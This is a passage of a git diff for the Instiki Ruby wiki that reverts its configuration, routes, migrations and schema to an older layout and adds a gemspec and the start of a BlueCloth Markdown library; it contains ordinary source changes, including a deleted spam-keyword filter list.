+  ActionController::Base.logger ||= RAILS_DEFAULT_LOGGER
+  if $instiki_debug_logging
+    RAILS_DEFAULT_LOGGER.level = Logger::DEBUG
+    ActionController::Base.logger.level = Logger::DEBUG
+  else
+    RAILS_DEFAULT_LOGGER.level = Logger::INFO
+    ActionController::Base.logger.level = Logger::INFO
+  end
+end
 
-#Additional Mime-types 
-mime_types = YAML.load_file(File.join(File.dirname(__FILE__), 'mime_types.yml'))
-Rack::Mime::MIME_TYPES.merge!(mime_types)
+ActionController::Base.template_root ||= "#{RAILS_ROOT}/app/views/"
+ActionController::Routing::Routes.reload
+Controllers = Dependencies::LoadingModule.root(
+  File.join(RAILS_ROOT, 'app', 'controllers'),
+  File.join(RAILS_ROOT, 'components')
+)
+
+require 'wiki_service'
+Socket.do_not_reverse_lookup = true
diff --git a/config/environments/development.rb b/config/environments/development.rb
index 01c89781..61ce9fec 100644
--- a/config/environments/development.rb
+++ b/config/environments/development.rb
@@ -1,14 +1,5 @@
-# In the development environment your application's code is reloaded on
-# every request.  This slows down response time but is perfect for development
-# since you don't have to restart the webserver when you make code changes.
-config.cache_classes     = false
-
-# Log error messages when you accidentally call methods on nil.
-config.whiny_nils        = true
-
-# Show full error reports and disable caching
-config.action_controller.consider_all_requests_local = true
-config.action_controller.perform_caching             = false
-
-# Don't care if the mailer can't send
-config.action_mailer.raise_delivery_errors = false
+Dependencies.mechanism = :require
+ActionController::Base.consider_all_requests_local = true
+ActionController::Base.perform_caching = false
+BREAKPOINT_SERVER_PORT = 42531
+$instiki_debug_logging = true
diff --git a/config/environments/production.rb b/config/environments/production.rb
index 517b3385..100269af 100644
--- a/config/environments/production.rb
+++ b/config/environments/production.rb
@@ -1,30 +1,16 @@
-# The production environment is meant for finished, "live" apps.
-# Code is not reloaded between requests
-config.cache_classes = true
+Dependencies.mechanism = :require
+ActionController::Base.consider_all_requests_local = false
+ActionController::Base.perform_caching = false
 
-# Use a different logger for distributed setups
-# config.logger        = SyslogLogger.new
 
-####
-# This rotates the log file, keeping 25 files, of 1MB each.
+spam_patterns_filename = RAILS_ROOT + '/config/spam_patterns.txt'
+if File.exists? spam_patterns_filename
+  SPAM_PATTERNS = File.readlines(spam_patterns_filename).delete_if { |line| line.strip.empty? }.map { 
+      |line| Regexp.new(line.strip) }
+end
 
-config.action_controller.logger = Logger.new(Rails.root.join('log', "#{RAILS_ENV}.log"), 25, 1024000)
-
-# Unfortunately, the above does not work well under Mongrel, as the default Ruby logger class
-# does no locking and you will have several processes running, each wanting to write to (and 
-# rotate) the log file. One solution is to have each mongrel instance writes to a different log file:
-#   http://blog.caboo.se/articles/2006/11/14/configure-mongrel-rails-logger-per-port for a solution.
-# Another is to use the default logging behaviour (comment out the above line)
-# and use an external program (e.g. logrotate) to rotate the logs.
-####
-
-# Full error reports are disabled and caching is turned on
-config.action_controller.consider_all_requests_local = false
-config.action_controller.perform_caching             = true
-config.action_view.cache_template_loading            = true
-
-# Enable serving of images, stylesheets, and javascripts from an asset server
-# config.action_controller.asset_host                  = "http://assets.example.com"
-
-# Disable delivery errors if you bad email addresses should just be ignored
-# config.action_mailer.raise_delivery_errors = false
+blocked_ips_filename = RAILS_ROOT + '/config/blocked_ips.txt'
+if File.exists? blocked_ips_filename
+  BLOCKED_IPS = File.readlines(blocked_ips_filename).delete_if { |line| line.strip.empty? }.map { 
+      |line| line.strip }
+end
diff --git a/config/environments/test.rb b/config/environments/test.rb
index 66b823dc..ece6e9cf 100644
--- a/config/environments/test.rb
+++ b/config/environments/test.rb
@@ -1,23 +1,17 @@
-# The test environment is used exclusively to run your application's
-# test suite.  You never need to work with it otherwise.  Remember that
-# your test database is "scratch space" for the test suite and is wiped
-# and recreated between test runs.  Don't rely on the data there!
-config.cache_classes = true
+Dependencies.mechanism = :require
+ActionController::Base.consider_all_requests_local = true
+ActionController::Base.perform_caching = false
 
-# Log error messages when you accidentally call methods on nil.
-config.whiny_nils    = true
+require 'fileutils'
+FileUtils.mkdir_p(RAILS_ROOT + "/log")
 
-# Show full error reports and disable caching
-config.action_controller.consider_all_requests_local = true
-config.action_controller.perform_caching             = false
-
-# Tell ActionMailer not to deliver emails to the real world.
-# The :test delivery method accumulates sent emails in the
-# ActionMailer::Base.deliveries array.
-config.action_mailer.delivery_method = :test
-
-# Overwrite the default settings for fixtures in tests. See Fixtures 
-# for more details about these settings.
-# config.transactional_fixtures = true
-# config.instantiated_fixtures = false
-# config.pre_loaded_fixtures = false
\ No newline at end of file
+unless defined? TEST_LOGGER
+  timestamp = Time.now.strftime('%Y%m%d%H%M%S')
+  log_name = RAILS_ROOT + "/log/instiki_test.#{timestamp}.log"
+  $stderr.puts "To see the Rails log:\n    less #{log_name}"
+  
+  TEST_LOGGER = ActionController::Base.logger = Logger.new(log_name)
+  $instiki_debug_logging = true
+  
+  WikiService.storage_path = RAILS_ROOT + '/storage/test/'
+end
diff --git a/config/mime_types.yml b/config/mime_types.yml
deleted file mode 100644
index 3d498bf6..00000000
--- a/config/mime_types.yml
+++ /dev/null
@@ -1,15 +0,0 @@
----
-.avi: video/avi
-.gz: application/x-gzip
-.js: application/x-javascript
-.nb: application/mathematica
-.oga: audio/ogg
-.ogg: audio/ogg
-.ogv: video/ogg
-.pdf: application/pdf
-.svg: application/svg+xml
-.tar: application/x-tar
-.tex: application/x-tex
-.xhtml: application/xhtml+xml
-.xml: application/xml
-.xslt: application/xslt+xml
diff --git a/config/preinitializer.rb b/config/preinitializer.rb
deleted file mode 100644
index d67060aa..00000000
--- a/config/preinitializer.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-begin
-  require "rubygems"
-  vend = File.join(File.dirname(__FILE__), '..', 'vendor')
-  Gem.use_paths File.join(vend, 'bundle', File.basename(Gem.dir)), (Gem.path + [File.join(vend, 'plugins', 'bundler')])
-  require "bundler"
-rescue LoadError
-  raise "Could not load the bundler gem. Install it with `gem install bundler`."
-end
-
-if Gem::Version.new(Bundler::VERSION) <= Gem::Version.new("0.9.24")
-  raise RuntimeError, "Your bundler version is too old for Rails 2.3." +
-   "Run `gem install bundler` to upgrade."
-end
-
-begin
-  # Set up load paths for all bundled gems
-  ENV["BUNDLE_GEMFILE"] = File.join(File.dirname(File.dirname(__FILE__)), 'Gemfile')
-  Bundler.setup
-rescue Bundler::GemNotFound
-  raise RuntimeError, "Bundler couldn't find some gems." +
-    "Did you run `bundle install`?"
-end
-
diff --git a/config/routes.rb b/config/routes.rb
index d0a7ae5b..59a8c442 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -8,34 +8,19 @@ def connect_to_web(map, generic_path, generic_routing_options)
   map.connect(generic_path, generic_routing_options)
 end
 
-# :id's can be arbitrary junk
-  id_regexp = /.+/
-
 ActionController::Routing::Routes.draw do |map|
   map.connect 'create_system', :controller => 'admin', :action => 'create_system'
   map.connect 'create_web', :controller => 'admin', :action => 'create_web'
-  map.connect 'delete_web', :controller => 'admin', :action => 'delete_web'
-  map.connect 'delete_files', :controller => 'admin', :action => 'delete_files'
+  map.connect 'remove_orphaned_pages', :controller => 'admin', :action => 'remove_orphaned_pages'
   map.connect 'web_list', :controller => 'wiki', :action => 'web_list'
 
   connect_to_web map, ':web/edit_web', :controller => 'admin', :action => 'edit_web'
-  connect_to_web map, ':web/remove_orphaned_pages', :controller => 'admin', :action => 'remove_orphaned_pages'
-  connect_to_web map, ':web/remove_orphaned_pages_in_category', :controller => 'admin', :action => 'remove_orphaned_pages_in_category'
-  connect_to_web map, ':web/file/delete/:id', :controller => 'file', :action => 'delete', :requirements => {:id => /[-._\w]+/}, :id => nil
-  connect_to_web map, ':web/files/pngs/:id', :controller => 'file', :action => 'blahtex_png', :requirements => {:id => /[-._\w]+/}, :id => nil
-  connect_to_web map, ':web/files/:id', :controller => 'file', :action => 'file', :requirements => {:id => /[-._\w]+/}, :id => nil
-  connect_to_web map, ':web/file_list/:sort_order', :controller => 'wiki', :action => 'file_list', :sort_order => nil
+  connect_to_web map, ':web/file/:id', :controller => 'file', :action => 'file'
+  connect_to_web map, ':web/pic/:id', :controller => 'file', :action => 'pic'
   connect_to_web map, ':web/import/:id', :controller => 'file', :action => 'import'
   connect_to_web map, ':web/login', :controller => 'wiki', :action => 'login'
   connect_to_web map, ':web/web_list', :controller => 'wiki', :action => 'web_list'
-  connect_to_web map, ':web/show/diff/:id', :controller => 'wiki', :action => 'show', :mode => 'diff', :requirements => {:id => id_regexp}
-  connect_to_web map, ':web/revision/diff/:id/:rev', :controller => 'wiki', :action => 'revision', :mode => 'diff',
-       :requirements => { :rev => /\d+/, :id => id_regexp}
-  connect_to_web map, ':web/revision/:id/:rev', :controller => 'wiki', :action => 'revision', :requirements => { :rev => /\d+/, :id => id_regexp}
-  connect_to_web map, ':web/source/:id/:rev', :controller => 'wiki', :action => 'source', :requirements => { :rev => /\d+/, :id => id_regexp}
-  connect_to_web map, ':web/list/:category', :controller => 'wiki', :action => 'list', :requirements => { :category => /.*/}, :category => nil
-  connect_to_web map, ':web/recently_revised/:category', :controller => 'wiki', :action => 'recently_revised', :requirements => { :category => /.*/}, :category => nil
-  connect_to_web map, ':web/:action/:id', :controller => 'wiki', :requirements => {:id => id_regexp}
+  connect_to_web map, ':web/:action/:id', :controller => 'wiki'
   connect_to_web map, ':web/:action', :controller => 'wiki'
   connect_to_web map, ':web', :controller => 'wiki', :action => 'index'
 
diff --git a/config/setup_load_paths.rb b/config/setup_load_paths.rb
deleted file mode 100644
index 5ecf1517..00000000
--- a/config/setup_load_paths.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-require "rubygems"
-vend = File.join(File.dirname(__FILE__), '..', 'vendor')
-Gem.use_paths File.join(vend, 'bundle', File.basename(Gem.dir)), (Gem.path + [File.join(vend, 'plugins', 'bundler')])
diff --git a/config/spam_patterns.txt b/config/spam_patterns.txt
deleted file mode 100644
index f62e39c7..00000000
--- a/config/spam_patterns.txt
+++ /dev/null
@@ -1,85 +0,0 @@
-51wisdom
-acupuncturealliance
-acyclovir
-Adipex
-adultfriend
-allegra
-ampicill
-anafranil
-atenolol
-attacke\.ch
-autocorp
-awardspace
-bestessays\.com
-bravehost\.com
-butalbital
-buy cheap
-buy computer
-buy-online
-calling-phone-cards
-casino
-celexa
-cialis\W
-computer-exchange\.com
-Cool website!
-debt\s*consolidation
-diazepam
-display:\s*none
-domaindlx\.com
-equity\s*loan
-Erectol
-Feel free to visit my page
-fortunecity
-fuck
-funpic\.de
-gambling
-Good job man
-gucci
-guestbook
-hamburger
-hold-em
-holdem
-home\s*loan
-hoodia
-hydrocodone
-I am really excited
-I really like your site
-igotfree
-ketoconazole
-lust cartoon
-mijneigenweblog
-Mortage
-myspace
-netfirms\.com
-nice\s+site
-paxil
-pbwiki\.com
-penis
-Phentermine
-phpbbforfree
-pochta\.ru
-poker
-porn
-prohosting
-protonix
-rapidforum
-ringtone
-rolex
-serotonin
-singtaotor
-slot\s*machin
-soma
-super\s+site
-thepussies
-Tramadol
-versace
-viagra
-vuitton
-websamba\.com
-xanax
-xoomer
-xrumer
-Your site is great!
-zoloft
-\.iwarp\.
-\.tripod\.com
diff --git a/db/migrate/001_beta1_schema.rb b/db/migrate/001_beta1_schema.rb
deleted file mode 100644
index 63b2ee7f..00000000
--- a/db/migrate/001_beta1_schema.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-class Beta1Schema < ActiveRecord::Migration
-  def self.up
-    create_table "pages", :force => true do |t|
-      t.column "created_at", :datetime, :null => false
-      t.column "updated_at", :datetime, :null => false
-      t.column "web_id", :integer, :default => 0, :null => false
-      t.column "locked_by", :string, :limit => 60
-      t.column "name", :string, :limit => 60
-      t.column "locked_at", :datetime
-    end
-  
-    create_table "revisions", :force => true do |t|
-      t.column "created_at", :datetime, :null => false
-      t.column "updated_at", :datetime, :null => false
-      t.column "revised_at", :datetime, :null => false
-      t.column "page_id", :integer, :default => 0, :null => false
-      t.column "content", :text
-      t.column "author", :string, :limit => 60
-      t.column "ip", :string, :limit => 60
-    end
-  
-    create_table "system", :force => true do |t|
-      t.column "password", :string, :limit => 60
-    end
-  
-    create_table "webs", :force => true do |t|
-      t.column "created_at", :datetime, :null => false
-      t.column "updated_at", :datetime, :null => false
-      t.column "name", :string, :limit => 60, :default => "", :null => false
-      t.column "address", :string, :limit => 60, :default => "", :null => false
-      t.column "password", :string, :limit => 60
-      t.column "additional_style", :string
-      t.column "allow_uploads", :integer, :default => 1
-      t.column "published", :integer, :default => 0
-      t.column "count_pages", :integer, :default => 0
-      t.column "markup", :string, :limit => 50, :default => "markdownMML"
-      t.column "color", :string, :limit => 6, :default => "008B26"
-      t.column "max_upload_size", :integer, :default => 100
-      t.column "safe_mode", :integer, :default => 0
-      t.column "brackets_only", :integer, :default => 0
-    end
-  
-    create_table "wiki_references", :force => true do |t|
-      t.column "created_at", :datetime, :null => false
-      t.column "updated_at", :datetime, :null => false
-      t.column "page_id", :integer, :default => 0, :null => false
-      t.column "referenced_name", :string, :limit => 60, :default => "", :null => false
-      t.column "link_type", :string, :limit => 1, :default => "", :null => false
-    end
-  end
-
-  def self.down
-    raise 'Initial schema - cannot be further reverted'
-  end
-
-end
diff --git a/db/migrate/002_beta2_changes_bulk.rb b/db/migrate/002_beta2_changes_bulk.rb
deleted file mode 100644
index b0b94486..00000000
--- a/db/migrate/002_beta2_changes_bulk.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-class Beta2ChangesBulk < ActiveRecord::Migration
-  def self.up
-    add_index "revisions", "page_id"
-    add_index "revisions", "created_at"
-    add_index "revisions", "author"
-    
-    create_table "sessions", :force => true do |t|
-      t.column "session_id", :string
-      t.column "data", :text
-      t.column "updated_at", :datetime
-    end
-    add_index "sessions", "session_id"
-    
-    create_table "wiki_files", :force => true do |t|
-      t.column "created_at", :datetime, :null => false
-      t.column "updated_at", :datetime, :null => false
-      t.column "web_id", :integer, :null => false
-      t.column "file_name", :string, :null => false
-      t.column "description", :string, :null => false
-    end
-
-    add_index "wiki_references", "page_id"
-    add_index "wiki_references", "referenced_name"
-  end
-
-  def self.down
-    remove_index "wiki_references", "referenced_name"
-    remove_index "wiki_references", "page_id"
-    drop_table "wiki_files"
-    remove_index "sessions", "session_id"
-    drop_table "sessions"
-    remove_index "revisions", "author"
-    remove_index "revisions", "created_at"
-    remove_index "revisions", "page_id"
-  end
-end
diff --git a/db/migrate/20091021024908_modify_text_types.rb b/db/migrate/20091021024908_modify_text_types.rb
deleted file mode 100644
index 6bf0c01c..00000000
--- a/db/migrate/20091021024908_modify_text_types.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-class ModifyTextTypes < ActiveRecord::Migration
-  def self.up
-    unless adapter_name.eql?('PostgreSQL')
-      change_column :revisions, :content, :text, :limit => 16777215
-    end
-    change_column :pages, :name, :string, :limit => 255
-    change_column :webs, :additional_style, :text
-  end
-
-  def self.down
-    raise ActiveRecord::IrreversibleMigration
-  end
-end
diff --git a/db/migrate/20100101192755_modify_referenced_name_type.rb b/db/migrate/20100101192755_modify_referenced_name_type.rb
deleted file mode 100644
index eeb033a7..00000000
--- a/db/migrate/20100101192755_modify_referenced_name_type.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class ModifyReferencedNameType < ActiveRecord::Migration
-  def self.up
-    change_column :wiki_references, :referenced_name, :string, :limit => 255
-  end
-
-  def self.down
-    raise ActiveRecord::IrreversibleMigration
-  end
-end
diff --git a/db/production.db.sqlite3 b/db/production.db.sqlite3
deleted file mode 100644
index 7b3b750e..00000000
Binary files a/db/production.db.sqlite3 and /dev/null differ
diff --git a/db/schema.rb b/db/schema.rb
deleted file mode 100644
index 07b7e97f..00000000
--- a/db/schema.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-# This file is auto-generated from the current state of the database. Instead of editing this file, 
-# please use the migrations feature of Active Record to incrementally modify your database, and
-# then regenerate this schema definition.
-#
-# Note that this schema.rb definition is the authoritative source for your database schema. If you need
-# to create the application database on another system, you should be using db:schema:load, not running
-# all the migrations from scratch. The latter is a flawed and unsustainable approach (the more migrations
-# you'll amass, the slower it'll run and the greater likelihood for issues).
-#
-# It's strongly recommended to check this file into your version control system.
-
-ActiveRecord::Schema.define(:version => 20100101192755) do
-
-  create_table "pages", :force => true do |t|
-    t.datetime "created_at",                              :null => false
-    t.datetime "updated_at",                              :null => false
-    t.integer  "web_id",                   :default => 0, :null => false
-    t.string   "locked_by",  :limit => 60
-    t.string   "name"
-    t.datetime "locked_at"
-  end
-
-  create_table "revisions", :force => true do |t|
-    t.datetime "created_at",                                     :null => false
-    t.datetime "updated_at",                                     :null => false
-    t.datetime "revised_at",                                     :null => false
-    t.integer  "page_id",                        :default => 0,  :null => false
-    t.text     "content",    :limit => 16777215, :default => "", :null => false
-    t.string   "author",     :limit => 60
-    t.string   "ip",         :limit => 60
-  end
-
-  add_index "revisions", ["author"], :name => "index_revisions_on_author"
-  add_index "revisions", ["created_at"], :name => "index_revisions_on_created_at"
-  add_index "revisions", ["page_id"], :name => "index_revisions_on_page_id"
-
-  create_table "sessions", :force => true do |t|
-    t.string   "session_id"
-    t.text     "data"
-    t.datetime "updated_at"
-  end
-
-  add_index "sessions", ["session_id"], :name => "index_sessions_on_session_id"
-
-  create_table "system", :force => true do |t|
-    t.string "password", :limit => 60
-  end
-
-  create_table "webs", :force => true do |t|
-    t.datetime "created_at",                                                 :null => false
-    t.datetime "updated_at",                                                 :null => false
-    t.string   "name",             :limit => 60,  :default => "",            :null => false
-    t.string   "address",          :limit => 60,  :default => "",            :null => false
-    t.string   "password",         :limit => 60
-    t.text     "additional_style", :limit => 255
-    t.integer  "allow_uploads",                   :default => 1
-    t.integer  "published",                       :default => 0
-    t.integer  "count_pages",                     :default => 0
-    t.string   "markup",           :limit => 50,  :default => "markdownMML"
-    t.string   "color",            :limit => 6,   :default => "008B26"
-    t.integer  "max_upload_size",                 :default => 100
-    t.integer  "safe_mode",                       :default => 0
-    t.integer  "brackets_only",                   :default => 0
-  end
-
-  create_table "wiki_files", :force => true do |t|
-    t.datetime "created_at",  :null => false
-    t.datetime "updated_at",  :null => false
-    t.integer  "web_id",      :null => false
-    t.string   "file_name",   :null => false
-    t.string   "description", :null => false
-  end
-
-  create_table "wiki_references", :force => true do |t|
-    t.datetime "created_at",                                   :null => false
-    t.datetime "updated_at",                                   :null => false
-    t.integer  "page_id",                      :default => 0,  :null => false
-    t.string   "referenced_name",              :default => "", :null => false
-    t.string   "link_type",       :limit => 1, :default => "", :null => false
-  end
-
-  add_index "wiki_references", ["page_id"], :name => "index_wiki_references_on_page_id"
-  add_index "wiki_references", ["referenced_name"], :name => "index_wiki_references_on_referenced_name"
-
-end
diff --git a/dump/fixtures/.gitignore b/dump/fixtures/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/instiki b/instiki
index bf720a1c..c6a5592f 100755
--- a/instiki
+++ b/instiki
@@ -1,4 +1,4 @@
-#!/usr/bin/env ruby
+#!/usr/bin/ruby
 
 # Executable file for a gem
 # must be same as ./instiki.rb
diff --git a/instiki.bat b/instiki.bat
deleted file mode 100755
index 00461495..00000000
--- a/instiki.bat
+++ /dev/null
@@ -1,2 +0,0 @@
-set PATH=.\lib\native\win32;%PATH%
-ruby.exe script\server -e production
\ No newline at end of file
diff --git a/instiki.cmd b/instiki.cmd
deleted file mode 100644
index 00461495..00000000
--- a/instiki.cmd
+++ /dev/null
@@ -1,2 +0,0 @@
-set PATH=.\lib\native\win32;%PATH%
-ruby.exe script\server -e production
\ No newline at end of file
diff --git a/instiki.gemspec b/instiki.gemspec
new file mode 100755
index 00000000..06b2a10f
--- /dev/null
+++ b/instiki.gemspec
@@ -0,0 +1,44 @@
+$__instiki_source_patterns = [
+  '[A-Z]*', 'instiki', 'instiki.rb', 'app/**/*', 'lib/**/*', 'vendor/**/*',
+  'public/**/*', 'natives/**/*', 'config/**/*', 'script/**/*'
+]
+
+spec = Gem::Specification.new do |s|
+  s.platform = Gem::Platform::RUBY
+  s.name = 'instiki'
+  s.version = "0.10.2"
+  s.summary = 'Easy to install WikiClone running on WEBrick and Madeleine'
+  s.description = <<-EOF
+    Instiki is a Wiki Clone written in Ruby that ships with an embedded 
+    webserver. You can setup up an Instiki in just a few steps. 
+    Possibly the simplest wiki setup ever.
+  EOF
+  s.author = 'David Heinemeier Hansson'
+  s.email = 'david@loudthinking.com'
+  s.rubyforge_project = 'instiki'
+  s.homepage = 'http://www.instiki.org'
+
+  s.bindir = '.'
+  s.executables = ['instiki']
+  s.default_executable = 'instiki'
+
+  s.has_rdoc = false
+  
+  s.add_dependency('madeleine', '= 0.7.1')
+  s.add_dependency('RedCloth', '= 3.0.3')
+  s.add_dependency('rubyzip', '= 0.5.8')
+  s.add_dependency('rails', '= 0.13.1')
+  s.requirements << 'none'
+  s.require_path = 'lib'
+
+  s.files = $__instiki_source_patterns.inject([]) { |list, glob|
+  	list << Dir[glob].delete_if { |path|
+      File.directory?(path) or
+      path.include?('.svn/') or 
+      path.include?('vendor/') or 
+      path.include?('test/') or
+      path.include?('_test.rb')
+    }
+  }.flatten
+
+end
diff --git a/instiki.rb b/instiki.rb
index 93f6ea51..e5637f96 100755
--- a/instiki.rb
+++ b/instiki.rb
@@ -1,2 +1,3 @@
-#!/usr/bin/env ruby
+#!/usr/bin/ruby
+
 load File.dirname(__FILE__) + '/script/server'
diff --git a/lib/active_record_stub.rb b/lib/active_record_stub.rb
new file mode 100644
index 00000000..126beb0b
--- /dev/null
+++ b/lib/active_record_stub.rb
@@ -0,0 +1,31 @@
+# This project uses Railties, which has an external dependency on ActiveRecord
+# Since ActiveRecord may not be present in Instiki runtime environment, this 
+# file provides a stub replacement for it
+
+module ActiveRecord
+  class Base
+    
+      # dependency in railties/lib/dispatcher.rb
+    def self.reset_column_information_and_inheritable_attributes_for_all_subclasses
+       # noop
+    end
+      
+    # dependency in actionpack/lib/action_controller/benchmarking.rb
+    def self.connected?
+      false
+    end
+      
+    # dependency in actionpack/lib/action_controller/benchmarking.rb
+    def self.connection
+      return ConnectionStub
+    end
+      
+  end
+
+  module ConnectionStub
+    def self.reset_runtime
+      0
+    end
+  end
+  
+end
diff --git a/lib/bluecloth_tweaked.rb b/lib/bluecloth_tweaked.rb
new file mode 100644
index 00000000..468b4fea
--- /dev/null
+++ b/lib/bluecloth_tweaked.rb
@@ -0,0 +1,1127 @@
+#!/usr/bin/ruby
+# 
+# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+# tool.
+# 
+# == Synopsis
+# 
+#   doc = BlueCloth::new "
+#     ## Test document ##
+#
+#     Just a simple test.
+#   "
+#
+#   puts doc.to_html
+# 
+# == Authors
+# 
+# * Michael Granger <ged@FaerieMUD.org>
+# 
+# == Contributors
+#
+# * Martin Chase <stillflame@FaerieMUD.org> - Peer review, helpful suggestions
+# * Florian Gross <flgr@ccan.de> - Filter options, suggestions
+#
+# == Copyright
+#
+# Original version:
+#   Copyright (c) 2003-2004 John Gruber
+#   <http://daringfireball.net/>  
+#   All rights reserved.
+#
+# Ruby port:
+#   Copyright (c) 2004 The FaerieMUD Consortium.
+# 
+# BlueCloth is free software; you can redistribute it and/or modify it under the
+# terms of the GNU General Public License as published by the Free Software
+# Foundation; either version 2 of the License, or (at your option) any later
+# version.
+# 
+# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
+# 
+# == To-do
+#
+# * Refactor some of the larger uglier methods that have to do their own
+#   brute-force scanning because of lack of Perl features in Ruby's Regexp
+#   class. Alternately, could add a dependency on 'pcre' and use most Perl
+#   regexps.
+#
+# * Put the StringScanner in the render state for thread-safety.
+#
+# == Version
+#
+#  $Id: bluecloth.rb,v 1.3 2004/05/02 15:56:33 webster132 Exp $
+# 
+
+require 'digest/md5'
+require 'logger'
+require 'strscan'
+
+
+### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
+### tool.
+class BlueCloth < String
+
+	### Exception class for formatting errors.
+	class FormatError < RuntimeError
+
+		### Create a new FormatError with the given source +str+ and an optional
+		### message about the +specific+ error.
+		def initialize( str, specific=nil )
+			if specific
+				msg = "Bad markdown format near %p: %s" % [ str, specific ]
+			else
+				msg = "Bad markdown format near %p" % str
+			end
+
+			super( msg )
+		end
+	end
+
+
+	# Release Version
+	Version = '0.0.3'
+
+	# SVN Revision
+	SvnRev = %q$Rev: 37 $
+
+	# SVN Id tag
+	SvnId = %q$Id: bluecloth.rb,v 1.3 2004/05/02 15:56:33 webster132 Exp $
+
+	# SVN URL
+	SvnUrl = %q$URL: svn+ssh://cvs.faeriemud.org/var/svn/BlueCloth/trunk/lib/bluecloth.rb $
+
+
+	# Rendering state struct. Keeps track of URLs, titles, and HTML blocks
+	# midway through a render. I prefer this to the globals of the Perl version
+	# because globals make me break out in hives. Or something.
+	RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log )
+
+	# Tab width for #detab! if none is specified
+	TabWidth = 4
+
+	# The tag-closing string -- set to '>' for HTML
+	EmptyElementSuffix = "/>";
+
+	# Table of MD5 sums for escaped characters
+	EscapeTable = {}
+	'\\`*_{}[]()#.!'.split(//).each {|char|
+		hash = Digest::MD5::hexdigest( char )
+
+		EscapeTable[ char ] = {
+ 			:md5 => hash,
+			:md5re => Regexp::new( hash ),
+			:re  => Regexp::new( '\\\\' + Regexp::escape(char) ),
+		}
+	}
+
+
+	#################################################################
+	###	I N S T A N C E   M E T H O D S
+	#################################################################
+
+	### Create a new BlueCloth string.
+	def initialize( content="", *restrictions )
+		@log = Logger::new( $deferr )
+		@log.level = $DEBUG ?
+			Logger::DEBUG :
+			($VERBOSE ? Logger::INFO : Logger::WARN)
+		@scanner = nil
+
+		# Add any restrictions, and set the line-folding attribute to reflect
+		# what happens by default.
+		restrictions.flatten.each {|r| __send__("#{r}=", true) }
+		@fold_lines = true
+
+		super( content )
+
+		@log.debug "String is: %p" % self
+	end
+
+
+	######
+	public
+	######
+
+	# Filters for controlling what gets output for untrusted input. (But really,
+	# you're filtering bad stuff out of untrusted input at submission-time via
+	# untainting, aren't you?)
+	attr_accessor :filter_html, :filter_styles
+
+	# RedCloth-compatibility accessor. Line-folding is part of Markdown syntax,
+	# so this isn't used by anything.
+	attr_accessor :fold_lines
+
+
+	### Render Markdown-formatted text in this string object as HTML and return
+	### it. The parameter is for compatibility with RedCloth, and is currently
+	### unused, though that may change in the future.
+	def to_html( lite=false )
+
+		# Create a StringScanner we can reuse for various lexing tasks
+		@scanner = StringScanner::new( '' )
+
+		# Make a structure to carry around stuff that gets placeholdered out of
+		# the source.
+		rs = RenderState::new( {}, {}, {} )
+
+		# Make a copy of the string with normalized line endings, tabs turned to
+		# spaces, and a couple of guaranteed newlines at the end
+		text = self.gsub( /\r\n?/, "\n" ).detab
+		text += "\n\n"
+		@log.debug "Normalized line-endings: %p" % text
+
+		# Filter HTML if we're asked to do so
+		if self.filter_html
+			text.gsub!( "<", "&lt;" )
+			text.gsub!( ">", "&gt;" )
+			@log.debug "Filtered HTML: %p" % text
+		end
+
+		# Simplify blank lines
+		text.gsub!( /^ +$/, '' )
+		@log.debug "Tabs -> spaces/blank lines stripped: %p" % text
+
+		# Replace HTML blocks with placeholders
+		text = hide_html_blocks( text, rs )
+		@log.debug "Hid HTML blocks: %p" % text
+		@log.debug "Render state: %p" % rs
+
+		# Strip link definitions, store in render state
+		text = strip_link_definitions( text, rs )
+		@log.debug "Stripped link definitions: %p" % text
+		@log.debug "Render state: %p" % rs
+
+		# Escape meta-characters
+		text = escape_special_chars( text )
+		@log.debug "Escaped special characters: %p" % text
+
+		# Transform block-level constructs
+		text = apply_block_transforms( text, rs )
+		@log.debug "After block-level transforms: %p" % text
+
+		# Now swap back in all the escaped characters
+		text = unescape_special_chars( text )
+		@log.debug "After unescaping special characters: %p" % text
+
+		return text
+	end
+	
+
+	### Convert tabs in +str+ to spaces.
+	def detab( tabwidth=TabWidth )
+		copy = self.dup
+		copy.detab!( tabwidth )
+		return copy
+	end
+
+
+	### Convert tabs to spaces in place and return self if any were converted.
+	def detab!( tabwidth=TabWidth )
+		newstr = self.split( /\n/ ).collect {|line|
+			line.gsub( /(.*?)\t/ ) do
+				$1 + ' ' * (tabwidth - $1.length % tabwidth)
+			end
+		}.join("\n")
+		self.replace( newstr )
+	end
+
+
+	#######
+	#private
+	#######
+
+	### Do block-level transforms on a copy of +str+ using the specified render
+	### state +rs+ and return the results.
+	def apply_block_transforms( str, rs )
+		# Port: This was called '_runBlockGamut' in the original
+
+		@log.debug "Applying block transforms to:\n  %p" % str
+		text = transform_headers( str, rs )
+		text = transform_hrules( text, rs )
+		text = transform_lists( text, rs )
+		text = transform_code_blocks( text, rs )
+		text = transform_block_quotes( text, rs )
+		text = transform_auto_links( text, rs )
+		text = hide_html_blocks( text, rs )
+
+		text = form_paragraphs( text, rs )
+
+		@log.debug "Done with block transforms:\n  %p" % text
+		return text
+	end
+
+
+	### Apply Markdown span transforms to a copy of the specified +str+ with the
+	### given render state +rs+ and return it.
+	def apply_span_transforms( str, rs )
+		@log.debug "Applying span transforms to:\n  %p" % str
+
+		str = transform_code_spans( str, rs )
+		str = encode_html( str )
+		str = transform_images( str, rs )
+		str = transform_anchors( str, rs )
+		str = transform_italic_and_bold( str, rs )
+
+		# Hard breaks
+		str.gsub!( / {2,}\n/, "<br#{EmptyElementSuffix}\n" )
+
+		@log.debug "Done with span transforms:\n  %p" % str
+		return str
+	end
+
+
+	# The list of tags which are considered block-level constructs and an
+	# alternation pattern suitable for use in regexps made from the list
+	BlockTags = %w[ p div h[1-6] blockquote pre table dl ol ul script ]
